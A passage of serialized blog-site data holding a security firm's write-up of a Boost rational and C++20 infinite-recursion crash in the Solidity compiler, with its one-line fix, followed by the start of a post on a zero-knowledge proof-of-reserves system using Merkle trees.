./crash\n",{"type":24,"tag":930,"props":94785,"children":94786},{"class":932,"line":984},[94787,94791],{"type":24,"tag":930,"props":94788,"children":94789},{"style":1079},[94790],{"type":30,"value":93480},{"type":24,"tag":930,"props":94792,"children":94793},{"style":1270},[94794],{"type":30,"value":94795}," \u003Cboost/rational.hpp>\n",{"type":24,"tag":930,"props":94797,"children":94798},{"class":932,"line":993},[94799],{"type":24,"tag":930,"props":94800,"children":94801},{"emptyLinePlaceholder":16},[94802],{"type":30,"value":2412},{"type":24,"tag":930,"props":94804,"children":94805},{"class":932,"line":1057},[94806,94810,94814],{"type":24,"tag":930,"props":94807,"children":94808},{"style":937},[94809],{"type":30,"value":22149},{"type":24,"tag":930,"props":94811,"children":94812},{"style":1002},[94813],{"type":30,"value":93845},{"type":24,"tag":930,"props":94815,"children":94816},{"style":959},[94817],{"type":30,"value":18839},{"type":24,"tag":930,"props":94819,"children":94820},{"class":932,"line":1066},[94821,94826,94830,94834,94838],{"type":24,"tag":930,"props":94822,"children":94823},{"style":959},[94824],{"type":30,"value":94825},"    boost::rational",{"type":24,"tag":930,"props":94827,"children":94828},{"style":1158},[94829],{"type":30,"value":1350},{"type":24,"tag":930,"props":94831,"children":94832},{"style":937},[94833],{"type":30,"value":22149},{"type":24,"tag":930,"props":94835,"children":94836},{"style":1158},[94837],{"type":30,"value":2261},{"type":24,"tag":930,"props":94839,"children":94840},{"style":959},[94841],{"type":30,"value":93874},{"type":24,"tag":930,"props":94843,"children":94844},{"class":932,"line":1075},[94845,94849,94853,94857,94861],{"type":24,"tag":930,"props":94846,"children":94847},{"style":1079},[94848],{"type":30,"value":20090},{"type":24,"tag":930,"props":94850,"children":94851},{"style":959},[94852],{"type":30,"value":93886},{"type":24,"tag":930,"props":94854,"children":94855},{"style":1158},[94856],{"type":30,"value":1239},{"type":24,"tag":930,"props":94858,"children":94859},{"style":1242},[94860],{"type":30,"value":1245},{"type":24,"tag":930,"props":94862,"children":94863},{"style":959},[94864],{"type":30,"value":5539},{"type":24,"tag":930,"props":94866,"children":94867},{"class":932,"line":1122},[94868],{"type":24,"tag":930,"props":94869,"children":94870},{"style":959},[94871],{"type":30,"value":2528},{"type":24,"tag":33,"props":94873,"children":94874},{},[94875],{"type":30,"value":94876},"Expected output: nothing.",{"type":24,"tag":33,"props":94878,"children":94879},{},[94880],{"type":30,"value":94881},"Actual: segmentation fault (stack overflow).",{"type":24,"tag":33,"props":94883,"children":94884},{},[94885,94887,94894],{"type":30,"value":94886},"This exact pattern was ",{"type":24,"tag":37,"props":94888,"children":94891},{"href":94889,"rel":94890},"https://github.com/boostorg/rational/issues/43",[41],[94892],{"type":30,"value":94893},"reported and fixed in Boost rational",{"type":30,"value":94895},", but only in version 1.75+.",{"type":24,"tag":33,"props":94897,"children":94898},{},[94899],{"type":30,"value":94900},"Here’s the one-line fix:",{"type":24,"tag":920,"props":94902,"children":94904},{"code":94903,"language":43450,"meta":7,"className":43448,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[94905],{"type":24,"tag":156,"props":94906,"children":94907},{"__ignoreMap":7},[94908,94916,94923,94931,94939,94947,94954,94962,94970],{"type":24,"tag":930,"props":94909,"children":94910},{"class":932,"line":933},[94911],{"type":24,"tag":930,"props":94912,"children":94913},{"style":959},[94914],{"type":30,"value":94915},"template \u003Cclass Arg, class IntType>\n",{"type":24,"tag":930,"props":94917,"children":94918},{"class":932,"line":984},[94919],{"type":24,"tag":930,"props":94920,"children":94921},{"style":959},[94922],{"type":30,"value":94532},{"type":24,"tag":930,"props":94924,"children":94925},{"class":932,"line":993},[94926],{"type":24,"tag":930,"props":94927,"children":94928},{"style":959},[94929],{"type":30,"value":94930},"inline typename boost::enable_if_c \u003C\n",{"type":24,"tag":930,"props":94932,"children":94933},{"class":932,"line":1057},[94934],{"type":24,"tag":930,"props":94935,"children":94936},{"style":959},[94937],{"type":30,"value":94938},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":24,"tag":930,"props":94940,"children":94941},{"class":932,"line":1066},[94942],{"type":24,"tag":930,"props":94943,"children":94944},{"style":959},[94945],{"type":30,"value":94946},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":24,"tag":930,"props":94948,"children":94949},{"class":932,"line":1075},[94950],{"type":24,"tag":930,"props":94951,"children":94952},{"style":959},[94953],{"type":30,"value":13987},{"type":24,"tag":930,"props":94955,"children":94956},{"class":932,"line":1122},[94957],{"type":24,"tag":930,"props":94958,"children":94959},{"style":1270},[94960],{"type":30,"value":94961},"-     return a == b;\n",{"type":24,"tag":930,"props":94963,"children":94964},{"class":932,"line":1131},[94965],{"type":24,"tag":930,"props":94966,"children":94967},{"style":1242},[94968],{"type":30,"value":94969},"+     return a.operator==(b);\n",{"type":24,"tag":930,"props":94971,"children":94972},{"class":932,"line":1144},[94973],{"type":24,"tag":930,"props":94974,"children":94975},{"style":959},[94976],{"type":30,"value":2528},{"type":24,"tag":33,"props":94978,"children":94979},{},[94980,94982,94987,94989,94994],{"type":30,"value":94981},"Instead of calling ",{"type":24,"tag":156,"props":94983,"children":94985},{"className":94984},[],[94986],{"type":30,"value":93312},{"type":30,"value":94988}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":24,"tag":156,"props":94990,"children":94992},{"className":94991},[],[94993],{"type":30,"value":93320},{"type":30,"value":436},{"type":24,"tag":33,"props":94996,"children":94997},{},[94998],{"type":30,"value":94999},"This prevents C++20 from triggering recursive rewrites.",{"type":24,"tag":21895,"props":95001,"children":95002},{},[],{"type":24,"tag":68,"props":95004,"children":95006},{"id":95005},"part-iv-how-this-breaks-solidity",[95007],{"type":30,"value":95008},"Part IV: How This Breaks Solidity",{"type":24,"tag":33,"props":95010,"children":95011},{},[95012,95014,95019],{"type":30,"value":95013},"The Solidity codebase uses ",{"type":24,"tag":156,"props":95015,"children":95017},{"className":95016},[],[95018],{"type":30,"value":93167},{"type":30,"value":95020}," to represent certain compile-time constant expressions.",{"type":24,"tag":33,"props":95022,"children":95023},{},[95024,95026,95032],{"type":30,"value":95025},"One snippet that can trigger this issue appears in ",{"type":24,"tag":156,"props":95027,"children":95029},{"className":95028},[],[95030],{"type":30,"value":95031},"DeclarationTypeChecker::endVisit",{"type":30,"value":476},{"type":24,"tag":920,"props":95034,"children":95036},{"code":95035,"language":32203,"meta":7,"className":32201,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[95037],{"type":24,"tag":156,"props":95038,"children":95039},{"__ignoreMap":7},[95040,95087,95112,95119,95197,95204,95257,95285,95292,95312,95319,95359,95366],{"type":24,"tag":930,"props":95041,"children":95042},{"class":932,"line":933},[95043,95047,95052,95056,95060,95065,95069,95074,95078,95082],{"type":24,"tag":930,"props":95044,"children":95045},{"style":1079},[95046],{"type":30,"value":18683},{"type":24,"tag":930,"props":95048,"children":95049},{"style":959},[95050],{"type":30,"value":95051}," (Expression ",{"type":24,"tag":930,"props":95053,"children":95054},{"style":937},[95055],{"type":30,"value":12762},{"type":24,"tag":930,"props":95057,"children":95058},{"style":1158},[95059],{"type":30,"value":1410},{"type":24,"tag":930,"props":95061,"children":95062},{"style":959},[95063],{"type":30,"value":95064}," length ",{"type":24,"tag":930,"props":95066,"children":95067},{"style":1158},[95068],{"type":30,"value":1161},{"type":24,"tag":930,"props":95070,"children":95071},{"style":1023},[95072],{"type":30,"value":95073}," _typeName",{"type":24,"tag":930,"props":95075,"children":95076},{"style":959},[95077],{"type":30,"value":436},{"type":24,"tag":930,"props":95079,"children":95080},{"style":1002},[95081],{"type":30,"value":11613},{"type":24,"tag":930,"props":95083,"children":95084},{"style":959},[95085],{"type":30,"value":95086},"()) {\n",{"type":24,"tag":930,"props":95088,"children":95089},{"class":932,"line":984},[95090,95095,95099,95103,95107],{"type":24,"tag":930,"props":95091,"children":95092},{"style":959},[95093],{"type":30,"value":95094},"    std::optional",{"type":24,"tag":930,"props":95096,"children":95097},{"style":1158},[95098],{"type":30,"value":1350},{"type":24,"tag":930,"props":95100,"children":95101},{"style":959},[95102],{"type":30,"value":94172},{"type":24,"tag":930,"props":95104,"children":95105},{"style":1158},[95106],{"type":30,"value":2261},{"type":24,"tag":930,"props":95108,"children":95109},{"style":959},[95110],{"type":30,"value":95111}," lengthValue;\n",{"type":24,"tag":930,"props":95113,"children":95114},{"class":932,"line":993},[95115],{"type":24,"tag":930,"props":95116,"children":95117},{"emptyLinePlaceholder":16},[95118],{"type":30,"value":2412},{"type":24,"tag":930,"props":95120,"children":95121},{"class":932,"line":1057},[95122,95126,95130,95134,95138,95142,95146,95150,95154,95159,95163,95167,95171,95175,95179,95184,95188,95192],{"type":24,"tag":930,"props":95123,"children":95124},{"style":1079},[95125],{"type":30,"value":15386},{"type":24,"tag":930,"props":95127,"children":95128},{"style":959},[95129],{"type":30,"value":1087},{"type":24,"tag":930,"props":95131,"children":95132},{"style":1023},[95133],{"type":30,"value":11613},{"type":24,"tag":930,"props":95135,"children":95136},{"style":959},[95137],{"type":30,"value":16864},{"type":24,"tag":930,"props":95139,"children":95140},{"style":1002},[95141],{"type":30,"value":33254},{"type":24,"tag":930,"props":95143,"children":95144},{"style":959},[95145],{"type":30,"value":33259},{"type":24,"tag":930,"props":95147,"children":95148},{"style":1023},[95149],{"type":30,"value":35844},{"type":24,"tag":930,"props":95151,"children":95152},{"style":1158},[95153],{"type":30,"value":17291},{"type":24,"tag":930,"props":95155,"children":95156},{"style":1023},[95157],{"type":30,"value":95158}," length",{"type":24,"tag":930,"props":95160,"children":95161},{"style":959},[95162],{"type":30,"value":16864},{"type":24,"tag":930,"props":95164,"children":95165},{"style":1002},[95166],{"type":30,"value":33254},{"type":24,"tag":930,"props":95168,"children":95169},{"style":959},[95170],{"type":30,"value":33259},{"type":24,"tag":930,"props":95172,"children":95173},{"style":1023},[95174],{"type":30,"value":35844},{"type":24,"tag":930,"props":95176,"children":95177},{"style":959},[95178],{"type":30,"value":16864},{"type":24,"tag":930,"props":95180,"children":95181},{"style":1002},[95182],{"type":30,"value":95183},"category",{"type":24,"tag":930,"props":95185,"children":95186},{"style":959},[95187],{"type":30,"value":3446},{"type":24,"tag":930,"props":95189,"children":95190},{"style":1158},[95191],{"type":30,"value":1239},{"type":24,"tag":930,"props":95193,"children":95194},{"style":959},[95195],{"type":30,"value":95196}," Type::Category::RationalNumber)\n",{"type":24,"tag":930,"props":95198,"children":95199},{"class":932,"line":1066},[95200],{"type":24,"tag":930,"props":95201,"children":95202},{"style":959},[95203],{"type":30,"value":84913},{"type":24,"tag":930,"props":95205,"children":95206},{"class":932,"line":1075},[95207,95212,95216,95221,95225,95230,95234,95239,95243,95248,95252],{"type":24,"tag":930,"props":95208,"children":95209},{"style":1079},[95210],{"type":30,"value":95211},"    else",{"type":24,"tag":930,"props":95213,"children":95214},{"style":1079},[95215],{"type":30,"value":2322},{"type":24,"tag":930,"props":95217,"children":95218},{"style":959},[95219],{"type":30,"value":95220}," (std::optional",{"type":24,"tag":930,"props":95222,"children":95223},{"style":1158},[95224],{"type":30,"value":1350},{"type":24,"tag":930,"props":95226,"children":95227},{"style":959},[95228],{"type":30,"value":95229},"ConstantEvaluator::TypedRational",{"type":24,"tag":930,"props":95231,"children":95232},{"style":1158},[95233],{"type":30,"value":2261},{"type":24,"tag":930,"props":95235,"children":95236},{"style":959},[95237],{"type":30,"value":95238}," value ",{"type":24,"tag":930,"props":95240,"children":95241},{"style":1158},[95242],{"type":30,"value":1161},{"type":24,"tag":930,"props":95244,"children":95245},{"style":959},[95246],{"type":30,"value":95247}," ConstantEvaluator::",{"type":24,"tag":930,"props":95249,"children":95250},{"style":1002},[95251],{"type":30,"value":41093},{"type":24,"tag":930,"props":95253,"children":95254},{"style":959},[95255],{"type":30,"value":95256},"(...))\n",{"type":24,"tag":930,"props":95258,"children":95259},{"class":932,"line":1122},[95260,95265,95269,95273,95277,95281],{"type":24,"tag":930,"props":95261,"children":95262},{"style":959},[95263],{"type":30,"value":95264},"        lengthValue ",{"type":24,"tag":930,"props":95266,"children":95267},{"style":1158},[95268],{"type":30,"value":1161},{"type":24,"tag":930,"props":95270,"children":95271},{"style":1023},[95272],{"type":30,"value":35599},{"type":24,"tag":930,"props":95274,"children":95275},{"style":959},[95276],{"type":30,"value":16864},{"type":24,"tag":930,"props":95278,"children":95279},{"style":1023},[95280],{"type":30,"value":42239},{"type":24,"tag":930,"props":95282,"children":95283},{"style":959},[95284],{"type":30,"value":5539},{"type":24,"tag":930,"props":95286,"children":95287},{"class":932,"line":1131},[95288],{"type":24,"tag":930,"props":95289,"children":95290},{"emptyLinePlaceholder":16},[95291],{"type":30,"value":2412},{"type":24,"tag":930,"props":95293,"children":95294},{"class":932,"line":1144},[95295,95299,95303,95307],{"type":24,"tag":930,"props":95296,"children":95297},{"style":1079},[95298],{"type":30,"value":15386},{"type":24,"tag":930,"props":95300,"children":95301},{"style":959},[95302],{"type":30,"value":1087},{"type":24,"tag":930,"props":95304,"children":95305},{"style":1158},[95306],{"type":30,"value":3299},{"type":24,"tag":930,"props":95308,"children":95309},{"style":959},[95310],{"type":30,"value":95311},"lengthValue)\n",{"type":24,"tag":930,"props":95313,"children":95314},{"class":932,"line":1169},[95315],{"type":24,"tag":930,"props":95316,"children":95317},{"style":959},[95318],{"type":30,"value":84913},{"type":24,"tag":930,"props":95320,"children":95321},{"class":932,"line":1191},[95322,95326,95330,95334,95338,95342,95346,95350,95354],{"type":24,"tag":930,"props":95323,"children":95324},{"style":1079},[95325],{"type":30,"value":95211},{"type":24,"tag":930,"props":95327,"children":95328},{"style":1079},[95329],{"type":30,"value":2322},{"type":24,"tag":930,"props":95331,"children":95332},{"style":959},[95333],{"type":30,"value":1087},{"type":24,"tag":930,"props":95335,"children":95336},{"style":1158},[95337],{"type":30,"value":1410},{"type":24,"tag":930,"props":95339,"children":95340},{"style":959},[95341],{"type":30,"value":93143},{"type":24,"tag":930,"props":95343,"children":95344},{"style":1158},[95345],{"type":30,"value":1239},{"type":24,"tag":930,"props":95347,"children":95348},{"style":1242},[95349],{"type":30,"value":1245},{"type":24,"tag":930,"props":95351,"children":95352},{"style":959},[95353],{"type":30,"value":6249},{"type":24,"tag":930,"props":95355,"children":95356},{"style":1422},[95357],{"type":30,"value":95358},"  // \u003C-- Infinite recursion happens here\n",{"type":24,"tag":930,"props":95360,"children":95361},{"class":932,"line":1223},[95362],{"type":24,"tag":930,"props":95363,"children":95364},{"style":959},[95365],{"type":30,"value":84913},{"type":24,"tag":930,"props":95367,"children":95368},{"class":932,"line":1281},[95369],{"type":24,"tag":930,"props":95370,"children":95371},{"style":959},[95372],{"type":30,"value":2528},{"type":24,"tag":33,"props":95374,"children":95375},{},[95376],{"type":30,"value":95377},"Under normal circumstances, this expression is benign. But:",{"type":24,"tag":96,"props":95379,"children":95380},{},[95381,95386,95391],{"type":24,"tag":100,"props":95382,"children":95383},{},[95384],{"type":30,"value":95385},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":24,"tag":100,"props":95387,"children":95388},{},[95389],{"type":30,"value":95390},"C++20 reverses the arguments",{"type":24,"tag":100,"props":95392,"children":95393},{},[95394],{"type":30,"value":95395},"The non-member operator recursively calls itself",{"type":24,"tag":33,"props":95397,"children":95398},{},[95399],{"type":30,"value":95400},"💥: segmentation fault.",{"type":24,"tag":21895,"props":95402,"children":95403},{},[],{"type":24,"tag":68,"props":95405,"children":95407},{"id":95406},"part-v-what-environments-are-affected",[95408],{"type":30,"value":95409},"Part V: What Environments are Affected?",{"type":24,"tag":33,"props":95411,"children":95412},{},[95413],{"type":30,"value":95414},"If a system uses any of the following:",{"type":24,"tag":96,"props":95416,"children":95417},{},[95418,95423,95428],{"type":24,"tag":100,"props":95419,"children":95420},{},[95421],{"type":30,"value":95422},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":24,"tag":100,"props":95424,"children":95425},{},[95426],{"type":30,"value":95427},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":24,"tag":100,"props":95429,"children":95430},{},[95431],{"type":30,"value":95432},"C++20 enabled (default in recent Solidity builds)",{"type":24,"tag":33,"props":95434,"children":95435},{},[95436,95438,95443,95445,95451],{"type":30,"value":95437},"They will encounter this crash ",{"type":24,"tag":275,"props":95439,"children":95440},{},[95441],{"type":30,"value":95442},"as soon as",{"type":30,"value":95444}," it processes a Solidity source with a length expression like ",{"type":24,"tag":156,"props":95446,"children":95448},{"className":95447},[],[95449],{"type":30,"value":95450},"T[0]",{"type":30,"value":95452}," or anything involving compile-time rational comparisons.",{"type":24,"tag":21895,"props":95454,"children":95455},{},[],{"type":24,"tag":68,"props":95457,"children":95459},{"id":95458},"recommendations",[95460],{"type":30,"value":95461},"Recommendations",{"type":24,"tag":96,"props":95463,"children":95464},{},[95465,95473],{"type":24,"tag":100,"props":95466,"children":95467},{},[95468],{"type":24,"tag":275,"props":95469,"children":95470},{},[95471],{"type":30,"value":95472},"Update Boost to ≥ 1.75",{"type":24,"tag":100,"props":95474,"children":95475},{},[95476],{"type":24,"tag":275,"props":95477,"children":95478},{},[95479],{"type":30,"value":95480},"Pin G++ to v14 or later",{"type":24,"tag":21895,"props":95482,"children":95483},{},[],{"type":24,"tag":68,"props":95485,"children":95486},{"id":5876},[95487],{"type":30,"value":5879},{"type":24,"tag":33,"props":95489,"children":95490},{},[95491],{"type":30,"value":95492},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":24,"tag":33,"props":95494,"children":95495},{},[95496,95498,95502],{"type":30,"value":95497},"But it ",{"type":24,"tag":275,"props":95499,"children":95500},{},[95501],{"type":30,"value":7089},{"type":30,"value":95503}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":24,"tag":33,"props":95505,"children":95506},{},[95507],{"type":30,"value":95508},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":24,"tag":33,"props":95510,"children":95511},{},[95512],{"type":30,"value":95513},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":24,"tag":5957,"props":95515,"children":95516},{},[95517],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":95519},[95520,95521,95526,95529,95530,95531,95532,95533],{"id":93203,"depth":984,"text":93206},{"id":93292,"depth":984,"text":93295,"children":95522},[95523,95524,95525],{"id":93298,"depth":993,"text":93301},{"id":93366,"depth":993,"text":93369},{"id":93457,"depth":993,"text":93460},{"id":94041,"depth":984,"text":94044,"children":95527},[95528],{"id":94047,"depth":993,"text":94050},{"id":94158,"depth":984,"text":94161},{"id":95005,"depth":984,"text":95008},{"id":95406,"depth":984,"text":95409},{"id":95458,"depth":984,"text":95461},{"id":5876,"depth":984,"text":5879},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":95538,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":95539,"description":95540,"date":95541,"author":34292,"image":95542,"isFeatured":16,"onBlogPage":16,"tags":95544,"body":95547,"_type":5983,"_id":100323,"_source":5985,"_file":100324,"_stem":100325,"_extension":5988},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":95543,"width":15,"height":15},"/posts/por/title.png",[95545,95546],"zk","por",{"type":21,"children":95548,"toc":100300},[95549,95555,95567,95579,95584,95616,95630,95636,95648,95653,95658,95695,95700,95706,95711,95718,95723,95749,95754,95760,95780,95794,95802,95807,95812,95820,95833,95839,95921,95927,95932,95945,95950,95957,95981,95989,95994,96000,96005,96453,96466,96472,96477,96485,96503,96511,96524,96532,98193,98198,98205,98211,98216,98223,98239,98246,98254,98261,99772,99777,99784,99790,99795,99822,99827,99846,99852,99860,99878,99927,99935,99954,99976,99982,99995,100000,100007,100012,100075,100080,100087,100107,100113,100118,100124,100129,100173,100178,100186,100192,100197,100239,100244,100252,100257,100265,100269,100274,100287],{"type":24,"tag":68,"props":95550,"children":95552},{"id":95551},"what-is-a-proof-of-reserves",[95553],{"type":30,"value":95554},"What is a Proof of Reserves?",{"type":24,"tag":33,"props":95556,"children":95557},{},[95558,95560,95565],{"type":30,"value":95559},"At its heart, ",{"type":24,"tag":275,"props":95561,"children":95562},{},[95563],{"type":30,"value":95564},"Proof of Reserves (PoR)",{"type":30,"value":95566}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":24,"tag":33,"props":95568,"children":95569},{},[95570,95572,95577],{"type":30,"value":95571},"Think of it this way: ",{"type":24,"tag":275,"props":95573,"children":95574},{},[95575],{"type":30,"value":95576},"PoR",{"type":30,"value":95578}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":24,"tag":33,"props":95580,"children":95581},{},[95582],{"type":30,"value":95583},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":24,"tag":33,"props":95585,"children":95586},{},[95587,95589,95596,95598,95605,95607,95614],{"type":30,"value":95588},"We from OtterSec, in partnership with ",{"type":24,"tag":37,"props":95590,"children":95593},{"href":95591,"rel":95592},"https://backpack.exchange/",[41],[95594],{"type":30,"value":95595},"Backpack",{"type":30,"value":95597},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":24,"tag":37,"props":95599,"children":95602},{"href":95600,"rel":95601},"https://github.com/otter-sec/por_v2",[41],[95603],{"type":30,"value":95604},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":30,"value":95606}," was based on ",{"type":24,"tag":37,"props":95608,"children":95611},{"href":95609,"rel":95610},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[41],[95612],{"type":30,"value":95613},"OKX Proof of Reserves algorithm",{"type":30,"value":95615}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":24,"tag":33,"props":95617,"children":95618},{},[95619,95621,95628],{"type":30,"value":95620},"In addition, we also created and open-sourced a ",{"type":24,"tag":37,"props":95622,"children":95625},{"href":95623,"rel":95624},"https://github.com/otter-sec/por_verifier_server",[41],[95626],{"type":30,"value":95627},"PoR verifier server",{"type":30,"value":95629}," that receives the proofs and validates them.",{"type":24,"tag":68,"props":95631,"children":95633},{"id":95632},"why-do-we-use-zk-for-por",[95634],{"type":30,"value":95635},"Why do we use ZK for PoR?",{"type":24,"tag":33,"props":95637,"children":95638},{},[95639,95641,95646],{"type":30,"value":95640},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":24,"tag":275,"props":95642,"children":95643},{},[95644],{"type":30,"value":95645},"Zero-Knowledge Proofs (ZKPs)",{"type":30,"value":95647}," become game-changers.",{"type":24,"tag":33,"props":95649,"children":95650},{},[95651],{"type":30,"value":95652},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":24,"tag":33,"props":95654,"children":95655},{},[95656],{"type":30,"value":95657},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":24,"tag":478,"props":95659,"children":95660},{},[95661,95678],{"type":24,"tag":100,"props":95662,"children":95663},{},[95664,95669,95671,95677],{"type":24,"tag":275,"props":95665,"children":95666},{},[95667],{"type":30,"value":95668},"Sum proof",{"type":30,"value":95670},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":24,"tag":156,"props":95672,"children":95674},{"className":95673},[],[95675],{"type":30,"value":95676},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":30,"value":2716},{"type":24,"tag":100,"props":95679,"children":95680},{},[95681,95686,95688,95693],{"type":24,"tag":275,"props":95682,"children":95683},{},[95684],{"type":30,"value":95685},"Non-negativity",{"type":30,"value":95687},": All users have a ",{"type":24,"tag":275,"props":95689,"children":95690},{},[95691],{"type":30,"value":95692},"positive",{"type":30,"value":95694}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":24,"tag":33,"props":95696,"children":95697},{},[95698],{"type":30,"value":95699},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":24,"tag":68,"props":95701,"children":95703},{"id":95702},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[95704],{"type":30,"value":95705},"What is a Merkle Tree and how does it help in a PoR?",{"type":24,"tag":33,"props":95707,"children":95708},{},[95709],{"type":30,"value":95710},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":24,"tag":33,"props":95712,"children":95713},{},[95714],{"type":24,"tag":140,"props":95715,"children":95717},{"alt":142,"src":95716},"/posts/por/merkle-tree.png",[],{"type":24,"tag":33,"props":95719,"children":95720},{},[95721],{"type":30,"value":95722},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":24,"tag":478,"props":95724,"children":95725},{},[95726,95739,95744],{"type":24,"tag":100,"props":95727,"children":95728},{},[95729,95731,95737],{"type":30,"value":95730},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":24,"tag":156,"props":95732,"children":95734},{"className":95733},[],[95735],{"type":30,"value":95736},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":30,"value":95738},");",{"type":24,"tag":100,"props":95740,"children":95741},{},[95742],{"type":30,"value":95743},"The Merkle tree is made public;",{"type":24,"tag":100,"props":95745,"children":95746},{},[95747],{"type":30,"value":95748},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":24,"tag":33,"props":95750,"children":95751},{},[95752],{"type":30,"value":95753},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":24,"tag":68,"props":95755,"children":95757},{"id":95756},"ottersec-porv2",[95758],{"type":30,"value":95759},"OtterSec PoRv2",{"type":24,"tag":33,"props":95761,"children":95762},{},[95763,95769,95771,95778],{"type":24,"tag":37,"props":95764,"children":95766},{"href":95600,"rel":95765},[41],[95767],{"type":30,"value":95768},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":30,"value":95770},", which uses the ",{"type":24,"tag":37,"props":95772,"children":95775},{"href":95773,"rel":95774},"https://github.com/0xPolygonZero/plonky2",[41],[95776],{"type":30,"value":95777},"plonky2 ZK algorithm",{"type":30,"value":95779}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":24,"tag":33,"props":95781,"children":95782},{},[95783,95785,95792],{"type":30,"value":95784},"We named it PoRv2 because we already had a version based on ",{"type":24,"tag":37,"props":95786,"children":95789},{"href":95787,"rel":95788},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[41],[95790],{"type":30,"value":95791},"Vitalik's proof of solvency",{"type":30,"value":95793},", which was not optimal.",{"type":24,"tag":33,"props":95795,"children":95796},{},[95797],{"type":24,"tag":275,"props":95798,"children":95799},{},[95800],{"type":30,"value":95801},"Non-negativity Proof",{"type":24,"tag":33,"props":95803,"children":95804},{},[95805],{"type":30,"value":95806},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":24,"tag":33,"props":95808,"children":95809},{},[95810],{"type":30,"value":95811},"We also check for overflows during summation to prevent tampering in the final result.",{"type":24,"tag":33,"props":95813,"children":95814},{},[95815],{"type":24,"tag":275,"props":95816,"children":95817},{},[95818],{"type":30,"value":95819},"Sum Proof",{"type":24,"tag":33,"props":95821,"children":95822},{},[95823,95825,95831],{"type":30,"value":95824},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":24,"tag":156,"props":95826,"children":95828},{"className":95827},[],[95829],{"type":30,"value":95830},"BTC final: user1_btc + user2_btc ...",{"type":30,"value":95832},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance 